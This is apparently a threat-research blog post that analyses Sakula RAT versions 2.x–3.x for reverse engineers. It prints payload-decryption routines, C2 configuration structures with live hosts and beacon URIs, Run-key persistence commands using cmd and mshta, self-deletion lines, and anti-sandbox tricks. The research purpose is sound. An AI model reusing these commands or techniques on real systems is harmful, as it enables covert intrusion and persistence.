It provides a lot of technical details to follow Sakula evolution. Some parts of the article can be a bit long to read, but the fact to put constants, pathes, algorithms or others indicators in it is useful for reversers when they google some artefacts.
Type | Version | Seen | Target’s activity * |
---|---|---|---|
RAT Sakula | 2.0 | 11/07/2013 | – |
RAT Sakula | 2.1 | 16/07/2013 | Aerospace |
RAT Sakula | 2.2 | 24/09/2013 | – |
RAT Sakula | 3.0a | 07/01/2014 | – |
RAT Sakula | 3.0b | 27/02/2014 | – |
RAT Sakula | 3.1a | 16/05/2014 | – |
RAT Sakula | 3.1b | 09/07/2014 | Healthcare |
RAT Sakula | 3.1c | 10/07/2014 | Healthcare |
RAT Sakula | 3.1d | 18/09/2014 | Government |
RAT Sakula | 3.2 | 09/01/2015 | – |
* Targets activity is only suspected from campaign ID found in binaries, and even if some of them are quite explicit, we cannot take them as direct evidences.
Version 2.0 to 2.2
Versions 2.x bring some minor features but implement essentially some protection mechanisms through the use of droppers, packers, stolen certificates and DLL Hijacking vulnerability.
After analysis, it appears that versions v2 and v3 evolved from the v1 (i.e. v3 doesn’t follow v2), as v2 updates are not present in v3.
v2.0 (11/07/2013)
The RAT has multiple layers of protection:
- it is packed by UPX
- it is embedded in a custom shellcode PE loader
- it is embedded in a dropper
The dropper is a simple executable which:
- Extract the payload which is located after the last section of the binary file
- Decrypt it using a single-byte XOR-encryption (key=0x33)
- Execute it by making a JMP on it
The custom PE loader is designed as a shellcode which:
- loads its needed imports from a custom GetProcAddress routine
- get the PEB (Process Environment Block) structure’s address (from FS[30])
- get the LDR (PEB_LDR_DATA) structure’s address (from the PEB)
- get each LDR_DATA_TABLE_ENTRY structure from the field LDR.InLoadOrderModuleList (list of loaded module)
- look for each LDR_DATA_TABLE_ENTRY.BaseDllName and search for a module with a specific name checksum
- get the module’s LDR_DATA_TABLE_ENTRY.DllBase which is the base address of the module
- get the DOS_HEADER.lfa_new field (baseaddress+0x3C) which contains the PE header offset
- get the IMAGE_DIRECTORY_ENTRY_EXPORT struture’s address (peheader+0x78)
- get the AddressOfNames field (dd_export+0x20) (list of strings)
- look for each procedure’s name and search for the index of the procedure with a specific name checksum
- use the AddressOfNameOrdinals field (dd_export+0x24) to get the offset of the procedure from the found index
- extracts its payload (the original PE file) located at the end of the shellcode
- loads the PE payload in memory
The packer UPX is used on the previous payload, probably to reduce its size and obfuscate it.
Since its version 1.4, Sakula core has undergone some updates.
It is signed with a stolen certificate:
- Certificate issued to NexG by VeriSign Class 3 Code Signing 2010 CA
It uses a new algorithm to decrypt its embedded exploits:
def decrypt_plugx(self, data, key): v1 = v2 = v3 = v4 = key decrypted = "" for c in data: v1 = (v1 + (v1 >> 3) - 0x1ACDF531) & 0xFFFFFFFF v2 = (v2 + (v2 >> 5) - 0x2CAFDCF2) & 0xFFFFFFFF v3 = (v3 + 0x34712393 - (v3 << 7)) & 0xFFFFFFFF v4 = (v4 + 0x46ADC7A4 - (v4 << 9)) & 0xFFFFFFFF xkey = (v1 + v2 + v3 + v4) & 0xFF decrypted += chr(ord(c) ^ xkey) return decrypted
This algorithm is not custom, as it was already seen in a PlugX sample (19d340cdc82d72705d0add94c8a43b0afe7e4f8cabc7c0f9abbb79cc55fc3c0d), dated 07/06/2013, with a different key (0xDF1D89DE). The key used in this version is 0x128933DF.
Before dropping its exploit to bypass UAC, it creates an event named Sakula and exits only if the exploit notifies its success via the event in the next 60 seconds.
When executed, the malware moves 3 files to a new location: itself, ./log.bin and ./OLEPRO32.DLL. At this moment, we don’t have these 2 last files, so their usefulness cannot be determined.
The method used to delete itself has been updated. It now gets the cmd path through %COMPSPEC% and executes it with the command /c del [FILENAME] > nul.
The configuration structure is:
struct ConfigV2_0 { CHAR cc_domain[50]; // 115.47.35.117 CHAR uri_get1_folder[50]; // /photo/ CHAR uri_get3_file[50]; // script.asp CHAR uri_get2_file[50]; // /script.asp CHAR uri_get3_arg[50]; // imageid CHAR copy_file_name[50]; // MediaCenter.exe CHAR autorun_key[50]; // MicroMedia CHAR copy_file_path[50]; // %Temp%\MicroMedia CHAR campaign_id[12]; // [REMOVED] DWORD waiting_time; // 0x7530 (30000 milliseconds) }
An example of used URIs:
- POST /script.asp?imageid=[HASH_MACHINE_NAME]&type=[CMD_ID]&resid=[CMD_SEQ_NUM]&nmsg=up
- GET (1) /photo/[HASH_MACHINE_NAME].jpg?resid=[CMD_SEQ_NUM]
- GET (2) /script.asp?resid=[CMD_SEQ_NUM]&nmsg=del&photoid=[HASH_MACHINE_NAME]
v2.1 (16/07/2013)
All updates made in this version have been designed only for a unique use, and are not reused in other versions.
The dropper and the custom PE loader have been merged and UPX is not used anymore.
The code of the PE loader has been inserted into the dropper code. Consequently, we can suppose that the authors are the same.
There is a minor update on the old dropper code. Before decrypting its payload with the key 0x33, it decrypts 0x1000000 times its data with the key 0x32. This action is cryptographically useless (as two xor cancel themselves), but is equivalent to a Sleep.
This version is signed with stolen certificates:
- Certificate issued to MICRO DIGITAL INC. by VeriSign Class 3 Code Signing 2010 CA
- Certificate issued to NexG by VeriSign Class 3 Code Signing 2010 CA (described in section v2.0)
Sakula drops an ActiveX file named ./MicroSoftSecurityLogin.ocx (only in this version). It has no interaction with the RAT and is almost empty. Its usefulness cannot be determined. However, Sakula extracts it from its resource from the type DLL and the name 0x45A. It is encrypted like embedded exploits with the PlugX algorithm. Attackers have the possibility to pop up a MessageBox containing the message fail to install activex.\n maybe you should reinstall it, independantly of the true result of the installation. This feature is not used in this version.
Sakula modifies the file \\drivers\\etc\\hosts by adding some hosts (only in this version):
csg.secure.[VICTIM DOMAIN] 217.108.[REMOVED] ctx.secure.[VICTIM DOMAIN] 217.108.[REMOVED] fdm.secure.[VICTIM DOMAIN] 217.108.[REMOVED] qa.fdm.secure.[VICTIM DOMAIN] 217.108.[REMOVED] qa.indigo.secure.[VICTIM DOMAIN] 217.108.[REMOVED] pi.secure.[VICTIM DOMAIN] 217.108.[REMOVED] qa.secure.[VICTIM DOMAIN] 217.108.[REMOVED] qasd.secure.[VICTIM DOMAIN] 217.108.[REMOVED] sd.secure.[VICTIM DOMAIN] 217.108.[REMOVED] int.tcua.secure.[VICTIM DOMAIN] 217.108.[REMOVED] qa.tcua.secure.[VICTIM DOMAIN] 217.108.[REMOVED] secure.[VICTIM DOMAIN] 217.108.[REMOVED]
It uses the same configuration structure than the v2.0, but with different data:
struct ConfigV2_1 { CHAR cc_domain[50]; // login.qzbwcq.com CHAR uri_get1_folder[50]; // /photo/ CHAR uri_get3_file[50]; // script.asp CHAR uri_get2_file[50]; // /script.asp CHAR uri_get3_arg[50]; // imageid CHAR copy_file_name[50]; // MediaCenter.exe CHAR autorun_key[50]; // MicroMedia CHAR copy_file_path[50]; // %Temp%\MicroMedia CHAR campaign_id[12]; // [REMOVED] DWORD waiting_time; // 0x7530 (30000 milliseconds) } struct ConfigV2_1 { CHAR cc_domain[50]; // oa.ameteksen.com:80 // oa.ameteksen.com:443 CHAR uri_get1_folder[50]; // /photo/ CHAR uri_get3_file[50]; // script.asp CHAR uri_get2_file[50]; // /script.asp CHAR uri_get3_arg[50]; // imageid CHAR copy_file_name[50]; // MediaCenter.exe CHAR autorun_key[50]; // MicroMedia CHAR copy_file_path[50]; // %Temp%\MicroMedia CHAR campaign_id[12]; // [REMOVED] DWORD waiting_time; // 0x7530 (30000 milliseconds) } struct ConfigV2_1 { CHAR cc_domain[50]; // sinmoung.com // secure.devpia.com // secure.devpia.com:443 CHAR uri_get1_folder[50]; // /photo/ CHAR uri_get3_file[50]; // script.asp CHAR uri_get2_file[50]; // /script.asp CHAR uri_get3_arg[50]; // imageid CHAR copy_file_name[50]; // MediaCenter.exe CHAR autorun_key[50]; // MicroMedia CHAR copy_file_path[50]; // %Temp%\MicroMedia CHAR campaign_id[12]; // [REMOVED] DWORD waiting_time; // 0x7530 (30000 milliseconds) }
An example of used URIs:
- POST /script.asp?imageid=[HASH_MACHINE_NAME]&type=[CMD_ID]&resid=[CMD_SEQ_NUM]&nmsg=up
- GET (1) /photo/[HASH_MACHINE_NAME].jpg?resid=[CMD_SEQ_NUM]
- GET (2) /script.asp?resid=[CMD_SEQ_NUM]&nmsg=del&photoid=[HASH_MACHINE_NAME]
v2.2 (24/09/2013)
The code of the v2.2 comes from the v2.0 with the same protection mechanisms except UPX.
This version is signed with the same stolen certificates as in version 2.1.
A new encryption algorithm has been implemented in the dropper. Instead of the single-byte XOR-encryption, it uses the RC4 algorithm from OpenSSL with the key goldsunfucker.
This algorithm is also implemented in Sakula with the same key to decrypt payloads, instead of the PlugX algorithm used in v2.0. This indicates that the authors of the protection mechanisms are the same as those of the Sakula RAT.
Payloads are now embedded in resource under the type RES and names 0x458 and 0x459.
Some dirty updates can be observed in the installation mechanism. The configuration system is still in place, but some hardcoded paths have been inserted and are used instead. This is the case for the malware copy path and name, the exploit drop location and name, and the autorun key. Depending on samples, there may be different values:
- %ALLUSERPROFILE%\SensrSvc.exe
- %ALLUSERPROFILE%\Utmm.ocx
- SensrSvc
or
- %APPDATA%\SensrSvc2013.exe
- %APPDATA%\Utmm.ocx
- SenseSvc
It uses the same configuration structure than the v2.0 and 2.1, but with different data:
struct ConfigV2_2 { CHAR cc_domain[50]; // oa.ameteksen.com:80 // login.ameteksen.com:443 CHAR uri_get1_folder[50]; // /photo/ CHAR uri_get3_file[50]; // script.asp CHAR uri_get2_file[50]; // /script.asp CHAR uri_get3_arg[50]; // imageid CHAR copy_file_name[50]; // MediaCenter.exe CHAR autorun_key[50]; // MicroMedia CHAR copy_file_path[50]; // %Temp%\MicroMedia CHAR campaign_id[12]; // [REMOVED] DWORD waiting_time; // 0x7530 (30000 milliseconds) } struct ConfigV2_2 { CHAR cc_domain[50]; // 115.47.35.117 CHAR uri_get1_folder[50]; // /photo/ CHAR uri_get3_file[50]; // script.asp CHAR uri_get2_file[50]; // /script.asp CHAR uri_get3_arg[50]; // imageid CHAR copy_file_name[50]; // MediaCenter.exe CHAR autorun_key[50]; // MicroMedia CHAR copy_file_path[50]; // %Temp%\MicroMedia CHAR campaign_id[12]; // [REMOVED] DWORD waiting_time; // 0x7530 (30000 milliseconds) }
An example of used URIs:
- POST /script.asp?imageid=[HASH_MACHINE_NAME]&type=[CMD_ID]&resid=[CMD_SEQ_NUM]&nmsg=up
- GET (1) /photo/[HASH_MACHINE_NAME].jpg?resid=[CMD_SEQ_NUM]
- GET (2) /script.asp?resid=[CMD_SEQ_NUM]&nmsg=del&photoid=[HASH_MACHINE_NAME]
Version 3.0 to 3.2
All changes made in versions 2.x are not implemented in versions 3.x.
v3.0 (07/01/2014 & 27/02/2014)
Two samples have been found having the same code. We named them 3.0a and 3.0b. They were compiled at different dates (07/01/2014 and 27/02/2014), have a different configuration and are signed by different certificates.
Sample 3.0a is distributed through a fake installer:
A protection layer has been added on the RAT with The “Go” Tools, a tool used for manipulating ASM and PE.
The layer which is located at the beginning of the section code:
- implements some anti-sandboxing tricks
- check with a Sleep between 2 GetTickCount if the Sleep function has not been hooked
- check if there is a foreground window
- check if the mouse cursor moves
- Decrypt some Sakula known strings using the Sakula XOR algorithm (v1) with the key 0x1E
- Decrypt the Sakula code using the Sakula XOR algorithm (v1) with the key 0x7C
It is signed with a stolen certificate, as in versions 2.x:
- (v3.0a) Certificate issued to DTOPTOOLZ Co.,Ltd. by VeriSign Class 3 Code Signing 2010 CA
- (v3.0b) Certificate issued to SJ SYSTEM by Thawte Code Signing CA – G2
Installation
Some changes have been made on the installation process.
It no longer uses the Windows API to create the autorun key, but uses a cmd.exe with commands:
- cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v [AUTORUN_KEY] /t REG_SZ /d [MLWR_PATH] (if admin)
- cmd.exe /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v [AUTORUN_KEY] /t REG_SZ /d [MLWR_PATH] (if not admin)
Sakula cannot load an external configuration from the file rss.tmp anymore.
Exploits are embedded in data, and not in resource anymore. They are encrypted with a new version of its single-byte XOR algorithm:
def decrypt_xor_v2(data, key): rol = lambda val, r_bits, max_bits: \ (val << r_bits%max_bits) & (2**max_bits-1) | \ ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) return "".join([chr(rol(ord(c), 1, 8) ^ key) for c in data])
The key used in this version is 0x28.
Before copying itself to another location, it modifies its 4 last bytes with the value returned by GetTickCount. This feature was present in the version 1.4 (with the last 8 bytes instead 4 last), but not in 2.0. This supports the idea that version 2.x is a fork.
It resolves some imports dynamically with GetProcAddress at its start:
- WinExec
- WriteFile
Commands
Command N°8 (interact through a reverse shell) has been removed.
The maximum waiting time between commands has been up to 24 hours and 1 second (0x5265C01), which is 2 milliseconds more than the old value.
The uninstall command deletes autorun keys in HKEY_CURRENT_USER and HKEY_LOCAL_MACHINE (only in HKEY_CURRENT_USER in previous versions).
Communication
A new User Agent is used: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1).
Data are encrypted using the single-byte XOR algorithm v1 with the key 0x66.
From versions 1.0 to 2.2, Sakula used 3 URIs to communicate:
- a GET request used to ask for a command from the C&C
- a GET request used to acknowledge the received command
- a POST request used to send back a command output
From version 3.0, the GET request used to acknowledge a command has been removed. Instead, it uses the POST request with a command ID equal to 0xFF.
It uses a new configuration structure:
struct ConfigV3_0a { DWORD nb_config; // 1 DWORD waiting_time; // 0x7530 (30000 milliseconds) DWORD unk; // 0 CHAR campaign_id[12]; // [REMOVED] CHAR copy_file_path[100] ; // %Temp% CHAR copy_file_folder[100]; // \MicroMedia CHAR copy_file_name[50]; // MediaCenter.exe CHAR autorun_key[50]; // MicroMedia DWORD port // 0x1BB (443) CHAR uri_post[200]; // /view.asp?cookie=%s&type=%d&vid=%d CHAR url_post[200]; // http://www.we11point.com:443/view.asp?cookie=%s&type=%d&vid=%d CHAR url_get[100]; // http://www.we11point.com:443/photo/%s.jpg?vid=%d CHAR cc_domain[100]; // www.we11point.com }
struct ConfigV3_0b { DWORD nb_config; // 1 DWORD waiting_time; // 0x3A98 (15000 milliseconds) DWORD unk; // 0 CHAR campaign_id[12]; // [REMOVED] CHAR copy_file_path[100] ; // %ALLUSERSPROFILE% CHAR copy_file_folder[100]; // \CitrixReciever CHAR copy_file_name[50]; // CitrixReciever.exe CHAR autorun_key[50]; // CitrixXenAppReciever DWORD port // 0x50 (80) CHAR uri_post[200]; // /news/view.asp?cookie=%s&type=%d&vid=%d CHAR url_post[200]; // http://www.huchin.com/news/view.asp?cookie=%s&type=%d&vid=%d CHAR url_get[100]; // http://www.huchin.com/news/photo/%s.jpg?vid=%d CHAR cc_domain[100]; // www.huchin.com }
An example of used URIs for v3.0a:
- POST /view.asp?cookie=[HASH_MACHINE_NAME]&type=[CMD_ID]&vid=[CMD_SEQ_NUM]
- GET /photo/[HASH_MACHINE_NAME].jpg?vid=[CMD_SEQ_NUM]
An example of used URIs for v3.0b:
- POST /news/view.asp?cookie=[HASH_MACHINE_NAME]&type=[CMD_ID]&vid=[CMD_SEQ_NUM]
- GET /news/photo/[HASH_MACHINE_NAME].jpg?vid=[CMD_SEQ_NUM]
v3.1 (16/05/2014 & 09/07/2014 & 10/07/2014 & 18/09/2014)
Many samples have been found having the same code. We can group them by compilation timestamp (16/05/2014 and 09/07/2014, 10/07/2014, 18/09/2014). We named them respectively 3.1a, 3.1b, 3.1c and 3.1d. They are distributed through different installers signed by stolen certificates and have a different configuration.
Sample 3.1a is distributed through a fake installer (compiled the 23/05/2014):
- Certificate issued to DTOPTOOLZ Co.,Ltd. (described in section v3.0)
We don’t have the installer corresponding to the sample 3.1b.
Sample 3.1c is distributed through 2 signed fake installers (compiled the 06/08/2014 and 19/08/2014):
- Certificate issued to DTOPTOOLZ Co.,Ltd. (described in section v3.0)
Sample 3.1d is distributed through a signed fake installer (compiled the 27/10/2014):
- Certificate issued to Career Credit Co,.Ltd. by VeriSign Class 3 Code Signing 2010 CA
In versions 3.1 and 3.2, Sakula is distributed through a dropper and is not signed with a stolen certificate anymore. It contains a legit binary (vulnerable to DLL hijacking), a rogue DLL and a Sakula embedded in a PE loader. The legit binary loads the rogue DLL which loads and executes the PE loader which loads and executes the RAT.
The dropper:
- does not execute while the mouse does not move (anti-sandbox trick)
- extracts the payload located after the tag EEEEEEEE, decrypts it, and writes it to the file %TEMP%\s.exe
- extracts the payload located after the tag LLLLLLLL, decrypts it, and writes it to the file %TEMP%\msi.dll
- extracts the payload located after the tag TTTTTTTT and writes it to the file %TEMP%\setup.msi
- executes %TEMP%\s.exe
- uninstall itself with the command ping 127.0.0.1 & del /q [PATH]
The dropper uses the same single-byte XOR-algorithm than the RAT (with the key 0x68) and the same deletion method. These facts support the assumption that it is custom-made.
The legit binary %TEMP%\s.exe is a digitally signed executable from Kaspersky Lab originally called setup.exe.
The file %TEMP%\msi.dll is a simple DLL which decrypts and executes setup.msi (hardcoded). It uses the single-byte XOR-algorithm with the key 0x88.
The file %TEMP%\setup.msi is Sakula embedded in a PE loader. This PE loader is different from the PE loader used for version 2.x, but acts in the same way. It extracts the payload located after the shellcode and loads it in memory.
Installation
Some changes have been made on the installation process:
- it injects itself in a new process created from %WINDIR%\system32\svchost.exe (3.1a -> 3.1c) or from %WINDIR%\explorer.exe (3.1d)
- it executes its exploit with the command cmd.exe /c rundll32 [EXPLOIT_PATH] ActiveQvaw [MLWR_PATH]
- it does not change anymore the 4 last bytes of its copy
To move itself to its new location, it moves dropped files to %Temp%\MicroSoftMedia (depending on configuration):
- s.exe -> %Temp%\MicroSoftMedia\MediaSoft.exe
- msi.dll -> %Temp%\MicroSoftMedia\msi.dll
- setup.msi -> %Temp%\MicroSoftMedia\setup.msi
Communication
A new User Agent is used: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
It uses the same configuration structure than the v3.0x, but with different data:
struct ConfigV3_1a { DWORD nb_config; // 1 DWORD waiting_time; // 0x7530 (30000 milliseconds) DWORD unk; // 0 CHAR campaign_id[12]; // [REMOVED]) CHAR copy_file_path[100] ; // %Temp% CHAR copy_file_folder[100]; // \MicroMedia CHAR copy_file_name[50]; // MediaCenter.exe CHAR autorun_key[50]; // MicroMedia DWORD port // 0x50 (80) CHAR uri_post[200]; // /view.asp?cstring=%s&tom=%d&id=%d CHAR url_post[200]; // http://192.199.254.126/view.asp?cstring=%s&tom=%d&id=%d CHAR url_get[100]; // http://192.199.254.126/photo/%s.jpg?id=%d CHAR cc_domain[100]; // 192.199.254.126 } struct ConfigV3_1b { DWORD nb_config; // 1 DWORD waiting_time; // 0x3A98 (15000 milliseconds) DWORD unk; // 0 CHAR campaign_id[12]; // [REMOVED] CHAR copy_file_path[100] ; // %Temp% CHAR copy_file_folder[100]; // \MicroSoftMedia CHAR copy_file_name[50]; // MediaSoft.exe CHAR autorun_key[50]; // MicroSoftMedia DWORD port // 0x50 (80) CHAR uri_post[200]; // /view.asp?cstring=%s&tom=%d&id=%d CHAR url_post[200]; // http://180.210.206.246/view.asp?cstring=%s&tom=%d&id=%d CHAR url_get[100]; // http://180.210.206.246/photo/%s.jpg?id=%d CHAR cc_domain[100]; // 180.210.206.246 } struct ConfigV3_1c { DWORD nb_config; // 1 DWORD waiting_time; // 0x3A98 (15000 milliseconds) DWORD unk; // 0 CHAR campaign_id[12]; // [REMOVED] CHAR copy_file_path[100] ; // %Temp% CHAR copy_file_folder[100]; // \JuniperACX CHAR copy_file_name[50]; // JuniperSafeACX.exe CHAR autorun_key[50]; // JuniperSafeACX DWORD port // 0x50 (80) CHAR uri_post[200]; // /view.asp?cstring=%s&tom=%d&id=%d CHAR url_post[200]; // http://23.27.112.143/view.asp?cstring=%s&tom=%d&id=%d CHAR url_get[100]; // http://23.27.112.143/photo/%s.jpg?id=%d CHAR cc_domain[100]; // 23.27.112.143 } struct ConfigV3_1c { DWORD nb_config; // 1 DWORD waiting_time; // 0x3A98 (15000 milliseconds) DWORD unk; // 0 CHAR campaign_id[12]; // [REMOVED]t CHAR copy_file_path[100] ; // %Temp% CHAR copy_file_folder[100]; // \MicroMedia CHAR copy_file_name[50]; // MediaCenter.exe CHAR autorun_key[50]; // MicroMedia DWORD port // 0x50 (80) CHAR uri_post[200]; // /view.asp?cstring=%s&tom=%d&id=%d CHAR url_post[200]; // http://23.226.65.197/view.asp?cstring=%s&tom=%d&id=%d CHAR url_get[100]; // http://23.226.65.197/photo/%s.jpg?id=%d CHAR cc_domain[100]; // 23.226.65.197 } struct ConfigV3_1d { DWORD nb_config; // 1 DWORD waiting_time; // 0x7530 (30000 milliseconds) DWORD unk; // 0 CHAR campaign_id[12]; // [REMOVED] CHAR copy_file_path[100] ; // %Temp% CHAR copy_file_folder[100]; // \MicroMedia CHAR copy_file_name[50]; // MediaCenter.exe CHAR autorun_key[50]; // MicroMedia DWORD port // 0x50 (80) CHAR uri_post[200]; // /view.asp?cstring=%s&tom=%d&id=%d CHAR url_post[200]; // http://www.xha-mster.com/view.asp?cstring=%s&tom=%d&id=%d CHAR url_get[100]; // http://www.xha-mster.com/photo/%s.jpg?id=%d CHAR cc_domain[100]; // www.xha-mster.com }
An example of used URIs:
- POST /view.asp?cstring=[HASH_MACHINE_NAME]&tom=[CMD_ID]&id=[CMD_SEQ_NUM]
- GET /photo/[HASH_MACHINE_NAME].jpg?id=[CMD_SEQ_NUM]
v3.2 (09/01/2015)
Version 3.2 is distributed through a signed fake installer (compiled the 15/01/2015):
- Certificate issued to U-Tech IY Service by SGTRUST CODE SIGNING CA
The dropper has been adapted to launch a DLL:
- does not execute while the mouse does not move (anti-sandbox trick)
- extracts the payload located after the tag NNNNNNNN, decrypts it, and writes it to the file %TEMP%\Emabout.dll
- extracts the payload located after the tag AAAAAAAA, decrypts it, and writes it to the file %TEMP%\shutil.dll
- extracts the payload located after the tag BBBBBBBB and writes it to the file %TEMP%\Thumbs.db
- executes %TEMP%\Emabout.dll with the command rundll32.exe [%TEMP%]\Emabout.dll CloseAbout
- uninstall itself with the command ping 127.0.0.1 & del /q [PATH]
The XOR key used to encrypt payloads has been changed and is now equals to 0x18.
The legit binary %TEMP%\Emabout.dll is a digitally signed executable from McAfee (Virus Scan Entreprise v8.7.0.570).
The file %TEMP%\shutil.dll is a simple DLL which decrypts and executes Thumbs.db (hardcoded). It uses the single-byte XOR-algorithm with the key 0x88.
The PE loader is the same than the v3.1.
Installation
Some changes have been made on the installation process. Sakula does not drop exploits anymore when the user does not have administrator rights. This feature has been dirtily removed. The code is still present but never executed (a return or goto has been placed at the beginning of the function).
To move itself to its new location, it moves dropped files to %Temp%\MicroWhoKnow (given in configuration):
- Emabout.dll -> %Temp%\MicroWhoKnow\MicroWhoKnow.dll
- shutil.dll -> %Temp%\MicroWhoKnow\shutil.dll
- Thumbs.db -> %Temp%\MicroWhoKnow\Thumbs.db
Then it sets up autorun keys pointing to %Temp%\MicroWhoKnow\MicroWhoKnow.dll using cmd.exe with commands:
- cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v “MicroWhoknow” /t REG_SZ /d “mshta vbscript:CreateObject(\”WScript.Shell\”).Run(\”cmd /c cd %Temp%\MicroWhoknow “&&” rundll32 MicroWhoknow.dll Plugupdate”,0) (window.close)” (if admin)
- cmd.exe /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v “MicroWhoknow” /t REG_SZ /d “mshta vbscript:CreateObject(\”WScript.Shell\”).Run(\”cmd /c cd %Temp%\MicroWhoknow “&&” rundll32 MicroWhoknow.dll Plugupdate”,0) (window.close)” (if not admin)
The command used in previous versions 3.0 and 3.1 to set up autorun keys is still present in data, but never used:
- cmd.exe /c reg add %s\Software0\Microsoft\Windows\CurrentVersion\Run /v “%s” /t REG_SZ /d “rundll32 \”%s\” PlugUpdate”
It uses the same configuration structure than the v3.0 and v3.1, but with different data:
struct ConfigV3_2 { DWORD nb_config; // 1 DWORD waiting_time; // 0x2710 (10000 milliseconds) DWORD unk; // 0 CHAR campaign_id[12]; // [REMOVED] CHAR copy_file_path[100] ; // %Temp% CHAR copy_file_folder[100]; // \MicroWhoknow CHAR copy_file_name[50]; // MicroWhoknow.dll CHAR autorun_key[50]; // MicroWhoknow DWORD port // 0x50 (80) CHAR uri_post[200]; // /update.asp?cstring=%s&tom=%d&id=%d CHAR url_post[200]; // http://104.128.233.4/update.asp?cstring=%s&tom=%d&id=%d CHAR url_get[100]; // http://104.128.233.4/x0x/%s.jpg?id=%d CHAR cc_domain[100]; // 104.128.233.4 }
An example of used URIs:
- POST /update.asp?cstring=[HASH_MACHINE_NAME]&tom=[CMD_ID]&id=[CMD_SEQ_NUM]
- GET /x0x/[HASH_MACHINE_NAME].jpg?id=[CMD_SEQ_NUM]
This is the end of this long blogspot on 2.x and 3.x Sakula. This is probably not the last one, so keep in touch !
Please, feel free to give us your feedback, report any bug or mistake you find and/or share new samples with us.